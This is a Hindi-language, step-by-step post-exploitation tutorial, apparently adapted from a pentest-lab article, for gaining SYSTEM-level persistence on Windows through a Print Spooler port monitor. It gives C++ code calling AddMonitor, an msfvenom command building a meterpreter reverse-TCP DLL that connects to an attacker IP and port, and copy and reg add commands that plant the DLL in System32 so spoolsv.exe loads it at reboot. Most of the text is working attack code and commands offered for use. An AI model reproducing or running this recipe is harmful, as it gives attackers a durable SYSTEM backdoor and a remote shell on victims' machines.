
दृढ़ता का एक पुराना तरीका
पोस्ट-एक्सप्लॉइटेशन चरण में विशेषाधिकार स्थायित्व प्राप्त करने के लिए उपयोग किया जाता है।
Step1: इस परियोजना को डाउनलोड करें, उसके बाद VS का उपयोग करके Monitor.cpp को कंपाइल करें। बेशक, पहले से कंपाइल की गई फ़ाइल का भी उपयोग कर सकते हैं। Monitor.cpp का कोड निम्नानुसार है:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Step 2: DLL हमला पेलोड उत्पन्न करने के लिए Msfvenom का उपयोग करें:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Step 3: shell.dll को लक्ष्य होस्ट की system32 निर्देशिका में कॉपी करें, उसके बाद इसे test.dll में नाम बदलें (यानी उपरोक्त PDLLName; आप इसे अपनी पसंद के अनुसार भी बदल सकते हैं, जैसा चाहें वैसा ही)।
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Step 4: उसके बाद system32 निर्देशिका में जाएं, और निम्न कमांड निष्पादित करें (Monitors.exe पहले से कंपाइल की गई फ़ाइल है, इसे भी system32 निर्देशिका में रखना होगा):
Monitors.exe

Step 5: उसके बाद सफलतापूर्वक Meterpreter सत्र प्राप्त होता है

स्थायित्व प्राप्त करने के लिए, हमें "Monitors" रजिस्ट्री स्थान के अंतर्गत एक key सेट करने की आवश्यकता है:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
उसके बाद कमांड लाइन में निम्न कमांड निष्पादित करके एक रजिस्ट्री प्रविष्टि बनाएं, जिसमें मान test.dll शामिल होगा। रजिस्ट्री संपादक से रजिस्ट्री देखकर सत्यापित करें कि key बनाई गई है या नहीं:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

अगली बार रीस्टार्ट करने पर, spoolsv.exe प्रक्रिया Monitors रजिस्ट्री प्रविष्टि में मौजूद तथा Windows फ़ोल्डर की System32 में संग्रहीत सभी ड्राइवर DLL फ़ाइलों को लोड करेगी। नीचे दिया गया चित्र दर्शाता है कि Meterpreter सत्र ने Print Spooler सेवा (SYSTEM) के समान स्तर का विशेषाधिकार स्थापित कर लिया है, और इसे System32 फ़ोल्डर से निष्पादित किया गया है।
